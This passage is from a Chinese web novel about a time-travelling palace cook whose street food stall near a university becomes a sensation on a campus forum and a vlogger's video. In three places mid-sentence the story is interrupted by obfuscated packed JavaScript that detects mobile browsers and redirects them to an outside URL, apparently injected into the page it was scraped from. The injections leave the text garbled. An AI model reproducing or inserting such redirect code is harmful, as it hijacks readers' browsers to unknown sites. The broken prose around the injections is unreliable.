一时间，两人都预感到这学校北门的小吃摊江湖即将再起波澜。 等到离开小吃摊的时候，许茗茗和毕婕已经撑得忍不住打了个饱嗝儿，不得不放弃了在这里吃完卤味的想法，拎着卤味朝着宿舍的方向走去。 *** 许茗茗和毕婕回到宿舍的时候，一开门，就被迎面冲来的人影扑了个满怀：“茗茗，小婕，你们可算回来了！” 许茗茗熟练地接住扑过来的金发女生，望着她桌面上快要见底的咖啡，忍不住扬了扬眉毛：“你又没吃晚饭？”虽然是问句，许茗茗用的却是肯定的语气。 金发女生万朴桃狂点头：“我也没想到，这个视频花了我这么久的时间……都已经快要6个小时了才刚刚剪好，从中午剪到现在了。” 万朴桃是许茗茗和毕婕的室友，也是临城大学英文系大一的学生，但她作为当代斜杠青年，还有一个身份，就是F站一枚刚刚起步的探店区UP主，名字就叫“吃葡萄不吐葡萄皮”。 新人UP主没有其他人手，一个人包揽了探店、剪辑、运营的所有工作，只要没有课的时候，经常就坐在电脑前一连好几个小时，经常忘记了吃饭。 万朴桃的室友也清楚她这德行，经常给她投喂一些好吃的，万朴桃投桃报李，探店的时候也会带上自己的室友们，请她们品尝美食。 万朴桃抱着许茗茗，睁大了眼睛，试图用眼神传达自己内心的渴望：“饿饿，求投喂！” “行了，别恶心我了。”许茗茗嘴上嫌弃，手上的动作却很诚实地揉了揉万朴桃的脑袋，“正好打包了卤味。” “耶，我就知道你们最好了！” 万朴桃迫不及待地接过了许茗茗手里的卤味，看见包装却愣了下：“是新开的卤味店吗？我记得附近那几家卤味店没这个包装啊。” “北门新来了一个炒饭摊，也卖卤味，从那里买的。” 听见这话，万朴桃皱了皱鼻子，默默在心里降低了对卤味的期待。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543431|171094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然只是小UP，但是万朴桃探店也是有家学渊源的，她姥爷曾经也是临城响当当的名厨，从小她就特别喜欢姥爷家厨房里各种香辛料的味道。虽然选择的专业和美食八竿子打不着，但是最开始选择做探店，也是因为她对美食的喜爱。 炒饭和卤味，这两种烹饪方式相差巨大。大部分小吃摊的摊主都非专业，能够将一项专研到位就已经不错了，同时卖这两种，两样通的概率实在是太低，能不出错就已经很不错了。 抱着这样的想法，万朴桃拿起了鸡爪，在内心默默地做出评价。 卖相还不错。 虽然过了段时间，卤汁略微有些粘稠地挂在了鸡爪上，反而带着淡淡的琥珀色泽，在灯光下折射出微微的油光。 一口咬下，牙齿破开弹嫩的表皮，穿过炖到绵软的鸡爪肉，微微粘牙的胶质充盈着卤香，在嘴里瞬间蔓延开，让万朴桃不免微微一愣。 八角、桂皮、草果、花椒、陈皮……还有几种万朴桃都说不上来的香辛料，不是超市里经常卖的预制卤料包，却根本不输，甚至超过了。 鸡爪被炖得恰到好处，每一道细纹都被卤汁充分地浸透，鸡爪关节处的肌腱已经炖到半透明的状态，用门牙轻轻一拉，轻松地脱下了完整的鸡肉。 一个鸡爪下肚，万朴桃哪里还记得自己刚才对卤味的低判，迫不及待地拿起了第二个鸡爪。 不到10分钟的时间，小半盒卤味就已经被万朴桃风卷残云地收拾完毕，由于吃的过快，她甚至忍不住小小地打了个嗝儿。 “嗝儿”一声出口，万朴桃坐在位置上，不免愣神。 吃这卤味的时候，她竟然有一种小时候躲在姥爷厨房里，偷吃刚出炉的菜的感觉。 有这种手艺，居然只是摆了个小吃摊？！ 光是把这卤料的秘方卖出去，都能卖个不菲的价格了！ 刹那间，万朴桃莫名升起了一股奇怪的恨铁不成钢的心理。 “你们刚才说的那个小吃摊，是在小北门吗？你们知道老板一般几点开始摆摊吗？” “在小北门，就在烤冷面那个摊旁边。”许茗茗想了想，“几点开始摆摊倒是不清楚，我们今天下午是6点多去的。她家炒饭是真的好吃，炒细粉也不错。” 听着室友的描述，万朴桃脑海中灵光一闪，想起了她的UP主事业。 这不是现成的题材嘛！ “明天晚上约一顿炒饭摊？我请客。” 听万朴桃这话，许茗茗和毕婕想起了傍晚吃的炒饭和炒细粉，嘴里已经不自觉地开始分泌口水，很快就答应了下来。 *** 第一天出摊，效果比言初莘预料还要好一些。 她准备的炒制的食材，最后已经被销售一空，大部分都是被现场的明火现炒吸引来排队尝鲜的大学生们。卤味的销售稍微差了一些，大部分都是买了主食后，额外买了卤味当小零嘴。 毕竟周围还有不少连锁卤味，相比于可以现场看到制作过程的炒饭炒面，对于街边卤味还是少了几分信任感。 大学生只是清澈愚蠢，但不是傻子。 言初莘也没有纠结，在炒制的食材销售一空后，就果断地收摊回家了。 回家后，言初莘仔细算了下，今天摆摊3个多小时，光炒饭炒面这些的收入就有1000多，虽然还要刨除掉食材和准备小车的成本，但无论如何都已经算不错的开始了。 算好后，言初莘也算是松了一口气，很快便收拾准备休息了，毕竟第二天一大早，她还得去菜市场准备第二天摆摊的食材。 言初莘陷入梦乡的时候，临城大学的校内论坛上出现了一个帖子—— {谁懂啊家人们！！！北门那个小姐姐的炒饭摊真的封神了！！！} 5. 005 {楼主（北门第一干饭王）： 今天下课的时候，本来只是想去北门普普通通买一份烤冷面，慰藉一下自己空虚的胃。结果发现北门新开了一家炒饭炒面的摊。 作为北门第一干饭王，怎么能有我没吃过的北门的摊呢？所以我就买了一份炒面。结果一口下去直接瞳孔地震——怎么会有这么不科学的炒面啊！秒杀厨房的炒面，打遍附近能外卖点到的一切炒面，毫不夸张，就是这么好吃！ 可惜等我吃完一份再冲过去，想要买第二份的时候，由于摊位太过于火爆，材料全部售罄了，小姐姐就收摊了QAQ 有谁知道小姐姐每天什么时候出摊吗？还是在北门吗？ （炒面直拍图.jpg）} 发出这条论坛贴的“北门第一干饭王”常年活跃在校内论坛里，发布各种临城附近的美食评价，所以这个ID刚一出现，就已经吸引了许多校内网友回复。 {1楼（选择困难症）： woc！这炒面的卖相，一看就锅气十足，绝对好吃！} {2楼（碳水教父）： 什么什么？北门居然有我没吃过的摊？} 过了十几层楼，才出现了和“北门第一干饭王”同样吃过摊的校内网友。 {18楼（早八怨种）： 我就知道会有人发帖的！新开的小吃摊真的绝了！明明看起来就是普普通通的炒河粉，可是那味道真的是，谁吃谁知道！（吸溜.jpg） （炒河粉照片.jpg）} {23楼（啃爪专家）： 怎么都在说炒饭炒面？就没有人吃卤味吗？小姐姐做的卤味吊打旁边一切卤味店！我今天打包了一袋子鸡爪，结果到了宿舍，才5分钟就被瓜分光了！一群畜生啊！（骂骂咧咧.jpg）我自己都没吃到几个！ （卤鸡爪照片.jpg）} {24楼（朋克养生切克闹）： What？还有卤味吗？} 这个论坛贴上传的时候，正是晚上11点多，夜猫子尤其活跃，小吃摊大部分已经收摊，只留下少数烧烤还营业的时候。 眼看着越来越多的照片出现，给了无意间进入这条论坛贴的饿鬼狠狠一击！ {57楼（饿魔附体）： 啊啊啊啊啊啊啊啊啊——为什么要深夜放毒！你知道这对一个正在减肥的人来说，是多么大的折磨吗？不！你不知道，你只在乎你自己！（疯狂.jpg）（抱头.jpg）（痛哭.jpg）（阴暗爬行.jpg）（原地做臀桥.jpg）（我要闹了.jpg）} {58楼（深夜EMO版）： （左勾拳.jpg）（右勾拳.jpg）看得我肚子咕噜咕噜开始叫了。我决定了，明天傍晚一下课就冲去北门。 如果没有这么好吃，论坛里全体谎报军情的通通（上勾拳.jpg）（下勾拳.jpg）} *** 正沉睡在梦乡中的言初莘还不知道，自己的小吃摊已经成为了临城大学校内论坛里的热议话题，热帖直接飘上了校内论坛第一页。 第二天一早，天光刚亮，言初莘已经整装待发，来到了附近的菜市场。 虽然成为大掌事之后，已经很久不用她自己采买食材了，但是在刚刚进入御膳房的时候，她也是经手过采买食材这一道的。 买菜，看着是一件小事，但实际上却是决定美食成败的第一步。 “巧妇难为无米之炊”，同样，巧厨难为不鲜之食。一旦挑选的食材质量不佳，烹饪的上限在最开始就已经被拉下来了。 刚一走进菜市场，便有商贩热情招呼的声音传来。 在一众热闹的吆喝声中，言初莘被其中一道声音吸引了注意力—— “哎——新鲜的大樱桃！又甜又大的大樱桃！不甜不要钱！” 言初莘心念一动，脑海里忽然想起了几道可以用樱桃做的小食，想到现在也正是樱桃的季节，她一时间来了兴趣。 言初莘走到摊前，在箩筐前蹲下，轻轻拨开表面那一层樱桃，仔细瞧下面樱桃的成色。 这也是菜市场小摊的常见操作，将品相好的水果摆在最上面，把品相一般的藏在底下，但凡不是自己挑选，让老板给装，保不准就能够迎来“水果盲盒惊吓”。 底下的樱桃果蒂翠绿硬挺，瞧成色，摘下来不过一两天。轻轻一捏，果肉饱满紧实，在手指的压力下微微弹起。 但是表面微微有些褶皱，如果不上手，恐怕是摸不出来的。 言初莘微微摇头：“这框不行，表面有晒伤的褶皱，甜度不均匀。” 摆摊的阿姨听见这话一笑：“呦，小姑娘还挺懂。这框是前天摘的，稍微有点磕碰，但是不是什么大问题，我就便宜卖15元一斤了。如果要好的，我这里也有，不过那价格就要贵点了，得20元一斤。” “拿那好果给我看吧，我准备做冷饮子，得甜度高的才成。” 听见言初莘这话，摆摊的阿姨从身后抽出一个小一些的竹篓，言初莘拿起里面的大樱桃，翻到向阳的那一面，均匀的蜜糖色在上面铺开，仿佛抹了一层琥珀色的釉面。 言初莘一连翻了好几个，都是好成色，看得她眼神忍不住亮了起来。 只看成色，便知道这甜度一定差不了。 “给我来个袋子吧。” 两手拎着满满的食材走出菜市场的时候，言初莘嘴角忍不住地上扬，嘴里还哼着小调儿。 “月光光，照地堂……” 那是小时候，身为御厨的姥爷最爱给她唱的童谣。 *** 回到自己的出租屋，言初莘洗净手，开始清洗樱桃。 樱桃洗净，去核，混合冰糖，挤入柠檬汁，放入冰箱里冷藏腌制2小时。 来到这里几日，有颇多令言初莘惊喜的物件，其中之一就是冰箱。古时如果要用冰，少不了和管事部门讨价还价拉扯一番，如今倒是方便极了。 等待樱桃腌制完成的时候，言初莘也没有闲着，趁着这个时间将今晚炒饭炒面的料全部都备齐，卤味也重新下了一锅。 前一天摆摊剩下的卤味，言初莘并没有想接着卖，而是当做了自己的餐食。不过有了第一天的量，她今天备卤味的时候，便精简了一些，只留下昨日卖的最好的鸡爪、鸡翅尖、鸡腿这三样，其他暂时从菜单上撤下了。 时间在备料的时候流逝得飞快，2个小时一眨眼就过了。 言初莘从冰箱里取出腌渍好的樱桃，留下少量备用，余下的连汁倾入铜锅中，用木铲沿着锅的边缘推挤着，直到筋膜与核渣浮到表面，逐渐熬制到用木铲可以划出清晰的痕路，这才趁热倒入瓷碗中，挂匀表面后置入冰箱。 等后续温度降下，就会变成红玉一般的膏体，用水冲便是极好的降火小甜水。 准备好冷饮子后，言初莘用糯米粉掺上一定比例的粳米粉，揉成团，搓开皮子，放入三颗蜜渍樱桃，阳光下，她手指轻动，如同舞蹈，面皮就在她的手下收成了五瓣花苞。 她手边没有木模，便干脆不做繁复的花纹，保持着五瓣花的形状放入蒸笼中，大火蒸后关火焖，等到盖子掀开，半透明的粉皮隐约露出里头樱桃的红，恰如女子脸颊那一抹不言自明的娇羞。 色如桃花绽，香透重粉皮。 言初莘自己先尝了一个，甜甜的樱桃香在她嘴里散开，让她也柔和了眉眼。 *** 傍晚6点，言初莘准时带着流动小吃摊来到了临城大学北门口。 离得远远的，她就听见一声大喊“老板来了”。 正当言初莘一头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543432|171094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雾水的时候，她才发觉北门口居然已经有一群人等在门口，而他们目光聚集的方向似乎是……她？ 万朴桃正是等候的人其中一员。 短短一夜的时间，校内论坛里关于“北门炒饭摊”的贴就已经有了300多条的回复，堪称临城大学校内论坛最近第一大热门贴了。这个回复量和公开论坛没法比，可毕竟这是在临城大学校内论坛，300+的回复数量已经很夸张了。 看见那条热帖的时候，万朴桃便敏锐地意识到，这个小吃摊或许能给她一潭死水的UP主之路带来一丝转机。 正好下午最后两节没课，她便提前带着自己的相机，和室友一起出发，出来蹲守在北门口，等着老板出摊。 当在北门发现不少和她一样，提前来等到老板出摊的校友时，万朴桃更加坚定了内心的想法。 暮色从十字路口蔓来，远处传来车轮的细响，靛蓝的小车上，身着白衣的女子踩着小车，黄昏给她周身镀上了一层薄金，仿佛合家欢电影大结局时，主角身上那一层金色的光辉。 女子翻身下车，一按，一停，动作利落轻快，面对蜂拥而来的人群，只一句：“排队，一个一个来。” 万朴桃远远地望着这一幕，出于本能地拿出了相机，录下了这一幕。 回过神后，万朴桃才猛地反应过来，看着已经排成一条的队伍，发出惊呼：“卧槽！怎么已经排上了！”也来不及再多录，她猛地结束了这一段画面，冲进了排队的队伍中。 等了十几个人，才轮到了万朴桃和她的室友们。 万朴桃一抬头，就看见了旁边挂着两个牌子，小一点的牌子写着—— 【本周时令限定】 樱桃煎：5元/杯 樱桃毕罗：3元/块；10元/4块 万朴桃没有多犹豫，直接全部都要了一份：“老板，炒饭、炒面、炒河粉、炒细粉，各来一份。樱桃煎来4杯，樱桃毕罗来4块。卤味每种各来一样。”毕竟万朴桃是为了探店，自然是要都尝一尝。况且她约了室友一起来，4个人吃这些倒也不算浪费。 和万朴桃相比，其他食客就有些纠结了。 “老板，这樱桃毕罗是不是有点太小了？” “樱桃煎是什么味道啊？” 也有和自己朋友窃窃私语的：“比一罐可乐贵了，这个价格不如买奶茶。” 但不管食客们如何议论，言初莘始终气定神闲，只笑眯眯地给同一个回复：“你们尝了就明白。” 炒饭炒面需要时间，等待的时候，言初莘先把樱桃煎和樱桃毕罗装出来，递给了万朴桃。 樱桃毕罗小小一个，拿在手里格外精致，万朴桃的牙齿刚触到表面，便陷进了薄如蝉翼的糯米皮中，内里的樱桃蜜浆立刻涌出，酸爽的果香混着蜜糖的甜，在舌尖上炸开，软烂的樱桃肉增加了一分口感，随着咀嚼和糯米皮融合在一起，甜软得令人心颤。 樱桃煎调的冰饮装在塑料杯里，万朴桃插上吸管，含进嘴里，吸了一口。 像是裹着蜂蜜的绸缎滑过，润物细无声地就划入了喉咙中，复合的甜味从舌根漫上，一半是缠绵的蜜糖香，另一半是清爽的果香。两种味道恰到好处地交织在嘴中，若是常温，这甜味恐怕有些过于浓稠，可若是冰饮，却是恰到好处。 不只是万朴桃，她的室友们也拿到了这樱桃煎的冰饮。 许茗茗喜爱甜，点奶茶都总要7分糖以上。她原本对这种古法小甜水并不算感冒，这一口下去，却发出了直白的感慨：“好喝！” 毕婕喝了一口，眼睛亮起，却提出了更有忧患意识的想法：“我们要不要再买几杯。一会儿如果卖完了……” 听着毕婕的话，宿舍4人的目光几乎同时落在了小吃摊上。 “老板，再来4杯樱桃煎！” 6. 006 一旁原本有些纠结的人，瞧见万朴桃几人的反应，目光又重新放在了樱桃煎和樱桃毕罗上。 虽然没尝过，但是也不贵。 不然就……试试？ “老板，我来一杯樱桃煎。” “老板，要两杯樱桃煎，再来一个樱桃毕罗。” 不只是刚才买了炒饭但没有买樱桃煎的，甚至连旁边打包了烤冷面的，都忍不住过来打包了一份樱桃煎。 拿到樱桃煎后，大部分人都第一时间插入吸管，第一口下去，几乎所有人内心都升起了同一个想法—— 这5块钱，花得也太值了！ 哪怕是对小甜水一点不感冒的人，喝了一口都忍不住感慨，还挺好喝的。 很快，樱桃煎就销售一空，没多久，樱桃毕罗也卖完了。 来得迟的人忍不住懊悔，买到了樱桃煎和樱桃毕罗的人则纷纷在校内论坛的炒饭热帖里，炫耀一般地发出了“战利品”图片。 {327楼（朋克养生切克闹）： 你怎么知道，我不仅买到了炒河粉和卤鸡爪，还买到了老板新出的樱桃煎和樱桃毕罗？（狗头.jpg） （美食大合照.jpg）} {328楼（选择困难症）： 哎呀，今天去北门溜达，本来只是想买一份炒饭的。没想到还有新品，我是什么财力？5块的樱桃煎，3块的樱桃毕罗，眼睛都不眨直接拿下！（墨镜.jpg） 已经美美吃完了，真不错 （吃完的合照.jpg）} {329楼（甜品小公举）： 真羡慕你们没吃到樱桃煎和樱桃毕罗的人，还可以拥有无限的想象空间。不像我，已经吃到了之后，只留下了美味的享受（捧脸.jpg） （樱桃煎和樱桃毕罗大合照.jpg）} {330楼（不减肥10斤不改名）： 哎，都怪毕罗太好吃连吃了8个，今晚又要加运动了呢 （展示空盒.jpg）} 本来没有抢到，就已经令人心态爆炸，再看到这些凡尔赛发言，没抢到樱桃煎和樱桃毕罗的人终于心态爆炸了。 {344楼（苍茫的六级我的命）： ？？？人言否？没抢到已经很苦命了，好不容易抽空上个论坛，还要看你们凡尔赛吗？（黄豆微笑脸.jpg）} {345楼（糖醋排骨の毒唯）： 原来就是你们！买了这么多！我说怎么连一杯樱桃煎都没有了呢！} {346楼（煎饼果子精）: 55555……我一下课就来排队了，怎么还是没有抢过你们这群饕餮啊！（委屈咬住小被单.jpg）} 两边针尖对麦芒，直接又互怼了300多层，直接把“炒饭摊”的贴怼成了校内论坛的大热门贴。 越来越多临城大学的学生看到了这个贴，一时间，他们的心头都产生了同样的好奇—— 这个炒饭摊真的有这么好吃吗？ *** 言初莘还不知道热帖的事情，她只发觉，今天排队的人似乎比昨天更多了。 虽然她备的货比昨天更多，但是摆摊第三个小时刚过，她今天备的所有货全部都卖完了。 当她宣布“收摊”的时候，还在排队的食客们都不免发出了哀嚎，露出了哀怨的眼神。可是看着干净得像是被洗劫过的小吃摊，也打消了最后一丝侥幸心理。 在离开前，有大学生灵机一动，主动询问道：“老板，你每天都是固定时间来摆摊吗？” “对，我每天晚上6点到。” “明天还有樱桃煎和樱桃毕罗吗？” “这一周都会有的，下周会换新的。”言初莘给出承诺。 “之后还是继续卖炒饭炒面吗？” “会随着天气更新菜单。之后还会卖其他的。” 得到了言初莘的回复后，现场有人火速就将她的回复上传到了校内论坛里，又是一番讨论。 有炒粉炒饭忠实爱好者发出哀叹，祈祷老板可以一直坚持卖炒饭； 有许多人看到了6点的出摊时间，一阵欢呼雀跃； 更有不少今天没买到樱桃煎和樱桃毕罗的人，看见“本周限定”后，升起了警惕之心…… 不知道是谁率先发起，一道暗语在临城大学的吃货内部悄悄流传—— 在？拼单抢樱桃煎和樱桃毕罗吗？ *** 摆摊生活步入正轨，几天摆摊结束，言初莘至少不用担心交不起下个月的房租。 既来之，则安之。 确定自己不一定能回去后，言初莘也稳步经营起了自己在这个新世界的生活，也开始尝试这个世界的新玩意儿。 比如，网购。 轻轻一点，就可以买来天南海北的食材，简直让言初莘大开眼界，也充分激发起了言初莘作为厨师的探索欲。那些曾经难得一见的食材，如今都可以充分尝试。 这天，言初莘正带着自己新买到的烟熏鱼干往回走，靠近楼梯口的时候，见到有女子低着头，急匆匆地从楼上走来。 老小区的楼道狭窄，两人相遇总归要避让，何况言初莘手里还拿着大包裹。 言初莘没有继续往前，而是在楼梯口旁边停下，准备等女子走出楼再上去。 就在这时候，女子鞋跟一滑，没有踏稳，整个人的身体瞬间失去了平衡，猛地向后倒去，身体刹那悬空。 言初莘瞳孔微缩，没有半分犹豫，直接扔掉了自己手里的快递包裹，一个箭步冲上前。 “小心！” 只是呼吸之间，女子的后背眼看着就要砸在台阶上，她也下意识惊恐地闭上了眼睛，等待着即将来临的疼痛。 千钧一发之际，言初莘在最后一刻抓住了她的手腕，另一只手抵住她的背。 稳住身体后，言初莘才终于松了一口气。 还好。 赶上了。 言初莘握着女子的手腕，能够清晰地感受到她紧张到狂跳的脉搏。 “你没事吧？有没有哪里受伤？” 没有迎来预料之中的疼痛，反而听见这一声充满安慰的话，女子睁开眼时，满眼都是愣怔的神色。 率先映入眼帘的是一双盛满了担忧的眼睛，女子愣了片刻，才结结巴巴地开口：“没……没事。” 直到站直身体，女子忍不住抬头，看了言初莘好几眼。 总感觉…… 有点眼熟。 确认女子没事后，言初莘转头去拿刚才被自己扔掉的包裹。 望着言初莘的背影，女子才终于反应过来，惊讶地瞪大了眼睛，捂住了自己的嘴巴。 她想起来对方是谁了！ 前段时间她在新闻上，看见过对方宣布退圈的消息。 只是没想到对方居然和她住在同一个单元楼。 就在女子惊讶的时候，她的手机忽然响起，她接起电话：“喂，师傅……什么？要2个小时才能过来？能不能早一点……” 得知开锁师傅还要2个小时才能过来后，女子周身的气场都不免沉郁了几分。 言初莘在一旁也听明白了前因后果。 原来是女子忘记带钥匙，被锁在了门外，所以喊了开锁师傅上门，偏偏师傅过来还要2个小时。 就在女子纠结的时候，言初莘主动开口：“你住几楼？” “5楼。”女子下意识回应道。 闻言，言初莘微微挑眉。 老小区单元楼，一层只有两户，这代表着女子就是她对门。 “我也在5楼。既然还有2个小时，要不要来我家先坐会儿？一会儿师傅来了，你也好随时过去。”言初莘主动对邻居小姐姐发出邀请，“中午吃鲜虾云吞面吗？” 刚才对话的时候，言初莘就听出来了，对方说话间带着一点广府口音。 果然，听见“鲜虾云吞面”后，对方的脸上流露出一丝纠结的神色，但最终还是抵不过诱惑—— “吃！” *** 上楼的时候，两人交换了名字。 虽然已经认出了言初莘，但想到对方已经选择退圈，女子也体贴地没有主动提起这件事。 “我叫夏璐，可以喊我璐璐，是一个接不到什么戏约的360线女演员，最近在准备去竞选一档喜剧竞演节目。” 夏璐开口后，言初莘也简单地进行自我介绍：“言初莘，一个普通的厨师，最近在摆摊。” “摆摊？” 夏璐有些惊讶，言初莘却格外淡定：“一会儿你可以尝尝，我的手艺还不错。” 此时此刻，夏璐还没有意识到这一句“还不错”的含金量。 她收敛起脸上惊讶的神色，跟着言初莘走进她租的小屋里。 走进言初莘的小屋后，夏璐第一印象便是“干净”。 光线从窗台落下，让整个房间都格外明亮通透，窗台上一片郁郁葱葱，仔细看才会发现，上面摆的并不是常规的观赏性绿植，而是可以当食材的植物。 豌豆苗伸展着嫩绿的枝芽；小番茄盆栽已经生长出青涩的果实，沉甸甸地坠在枝头；小葱旺盛地生长着…… 清风从窗台拂过，经过屋内，带来泥土和青草的芳香。 在这个世界里，言初莘没有什么朋友，家里也没有准备过朋友来访的用具，就用干净的一次性塑料杯，给夏璐做了一杯快手的樱桃煎。 一口下去，夏璐就忍不住瞪大了眼睛。 好好喝。 她忍不住问：“这是哪里买的？我也想去买点。” “我自己做的，一会儿我用玻璃罐给你装点。想喝的时候自己拿冷水兑一下就好。”言初莘的声音从厨房里传来。 “你自己做的？”夏璐瞪大了眼睛，默默在心里拔高了对言初莘厨艺的期待值。 给夏璐拿了一杯樱桃煎后，言初莘就待在厨房里，专心开始准备鲜虾云吞面。 即便没有遇到夏璐，言初莘今天也准备做鲜虾云吞面，她拿出早上菜市场买的新鲜活虾，青灰色的虾壳折射着阳光，她用拇指和食指捏住虾头，轻轻一旋转，虾头连带着长条的虾线一起脱出。 迅速去除虾壳后，晶莹的虾肉剁碎成虾蓉，和剁碎的猪肉以一定比例混合，撒上些许白胡椒，顺时针不断搅拌，直到黏连成胶质的状态。在这时候拌入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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言初莘从厨房里端出两碗鲜虾竹升面：“来，尝尝味道怎么样。” 淡琥珀色的汤底上，飘着丝丝缕缕金黄的竹升面，旁边缀着几颗金鱼状的云吞，半透明的绉纱皮下隐约透出肉粉的内馅，升腾的蒸气将咸鲜香气以不可阻挡的形式传入鼻腔中。 夏璐迫不及待地拿起勺子，先捞起一颗云吞，快速地吹了吹，就趁着热气放入了嘴中。 云吞皮薄如蝉翼，牙齿接触云吞的瞬间，滚烫的虾汁就从里面缓缓地流淌出来，猪肉的肥膘早已经在熬煮的过程中化成醇厚的油脂，包裹着鲜嫩的虾肉，用极致的鲜美刺激着味蕾。 虾肉在口中弹跳，如同澎湃的海浪，一阵一阵击打着舌尖。 一颗云吞下肚，夏璐仿佛回到了海边老家，在腥咸的海风中，耳边是老式风扇呼啦呼啦的声响，就坐在小院里，吃一碗家里热气腾腾的云吞面。 自从来到临城后，她已经很久没有吃到这么地道的家乡味道了。 再看向碗里的竹升面，夏璐换了筷子，挑起一大筷挂着汤汁的竹升面，吸入口中，竹升面独特的碱香与麦香率先冲入口腔，咀嚼时还能体会到竹升面特有的弹性。 随着咀嚼的动作，被竹升面充分吸收的汤汁的味道，才逐渐释放出来。 鱼肉烟熏后的咸，猪骨圆融的醇厚，还有虾增添的几分海边风味。 喉头不断分泌唾液，催促夏璐继续吃下一口。 直到放下碗筷后，夏璐依然感觉鲜味在口腔内壁回荡着，在不算特别炎热的天气中，她的额角依然沁出细密的汗珠。 回过神来，夏璐忍不住对着言初莘竖起了大拇指，由衷地感慨道：“你的小吃摊生意一定特别赞！” 虽然没有光顾过，但是仅凭着这一碗鲜虾竹升面，夏璐有理由相信，言初莘的小吃摊绝对会很好吃！ “你的小吃摊上卖的也是鲜虾云吞面码？” 面对夏璐好奇的询问，言初莘摇了摇头：“目前暂时主要卖炒饭和卤味，不过后面可能还会加一些其他的小吃。” “是固定在一个地方摆摊吗？” “我目前暂时固定在临城大学那边摆摊。” 听见这话，夏璐眼睛一亮：“临城大学？你在临城大学的哪个门摆摊？我现在排练的剧场就在临城大学旁边不远，说不准排戏结束还可以来吃个摊。” “在临城大学小北门那边。一般是晚上6点出摊。”言初莘顿了顿，“不过通常3个小时左右就收摊了。” “我们排戏结束的时间不固定……”忽然，夏璐灵光一闪，“要不我加你个微信，到时候我提前问你下有没有收摊，如果没收摊我就过来。毕竟是邻居，之后如果有什么需要帮忙的，也可以随时找我。” “好呀。” 言初莘拿出手机，就这样加上了自己在新世界的第一个联系人。 *** 临城大学的宿舍里，熬了几个大夜的万朴桃终于把炒饭摊的探店视频剪辑好了。 她回放了好几遍，确定没有失误后，才终于点击了上传按钮。 接下来，只要等待F站审核通过就好了。 当晚9点，万朴桃的视频出现在F站上，最开始，只是关注了“吃葡萄不吐葡萄皮”的网友刷到了更新，仔细一看标题—— 《“林黛玉”暴抡大铁锅》 “这都什么和什么啊？” 哭笑不得间，不少网友出于猎奇心理点开了这个视频。 此刻他们还不知道，打开的是怎样的新世界大门。 7. 007 视频开头—— {伴随着风铃声，瘦削的女子沐浴着金色的黄昏，骑着小吃车出现在镜头下。 下一刻，镜头一抖，BGM忽然切换成充满江湖豪气的踩点歌曲，只见一条长队一路蜿蜒到马路牙子上，粗粗一看都已经有几十号人，随着快进的镜头向前，终于一睹“庐山真面目”。 一口硕大的铁锅“轰”的一声，窜起了半米高的火焰！ 在散去的烟雾中，露出一张清冷白皙的面庞，纤细的柳叶眉，精致的杏眼，下半张脸被口罩紧紧地盖住，碎发黏在汗湿的额角，长袖下露出瘦弱的手腕。} 一瞬间，屏幕前的观众都响起了标题的“林黛玉”，不免赞同地点头。 看着外形，可不是“林黛玉”么。 {然后—— “林黛玉”猛地单手抡起铁锅，米饭凌空翻飞，鸡蛋在火中炸成金黄的云！} 屏幕前的观众：！！！ 这一瞬间，所有人都明白了标题的含义。 原来是字面意义的“林黛玉暴抡大铁锅”啊！ 【woccccccc——刚才发生了什么？怎么一瞬间柔弱仙女变身哥斯拉了？！（惊恐.jpg）】 【我原来以为这个标题是夸张手法，没想到……居然是写实派吗？！】 {在放大的镜头下，铁锅里的炒饭仿佛被施加了魔法，粒粒分明的米饭，被金灿灿的蛋液包裹着，随着小姐姐颠锅的动作飞舞着。 BGM卡点得恰到好处，仿佛是米饭和鸡蛋在一起跳了一曲探戈。} 【金……金色传说？！（目瞪口呆.jpg）】 【啊啊啊啊啊！这个放大的镜头……我饿了QAQ】 {在小桌板前，UP主“吃葡萄不吐葡萄皮”面前摆着满满的一桌子。 她舀起一勺炒饭，刚入口的瞬间，她的眼睛瞬间瞪大，伴随着玻璃破碎的音效声，史诗级的BGM响起，背景瞬间切换成宇宙爆.炸的特效。 “好吃！” “这简直是我吃过最好吃的炒饭了。” “没吃过的简直都可惜了！” UP主“吃葡萄不吐葡萄皮”对着镜头竖起了大拇指。 “老板做的炒饭、炒面、炒河粉、炒细粉，虽然看起来用的食材差不多，但是老板调味上都做了区分，贴合食材本身的特点。” “如果是口味淡的，相对比较推荐炒饭。喜欢重口味的可以直接点另外三个。但是不管哪个都很好吃。可以再浇一勺卤汁，那个味道简直就绝了！”} {视频的最后，镜头重新切换给老板—— 字幕：“凡人，终究无法承受神之炒饭”。} 一片黑屏中，倒映出观众目瞪口呆的面庞。 最开始，视频下的评论还是调侃为主。 【666，“神之炒饭”这种形容未免也太中二了吧！看得出UP主是热血美食番忠实爱好者了哈哈哈】 【在深夜看到这个视频，这简直就是对吃货的一种蓄意谋.杀！（告到中央，我要告到中央.jpg）】 【吸溜——听UP主这么说，我也想要尝尝这炒饭了。真的有这么好吃吗？（好奇.jpg）】 【救命！这炒饭看着也太香了吧！我可太喜欢这种街边的小摊了，看着就锅气十足的样子（流口水.jpg）】 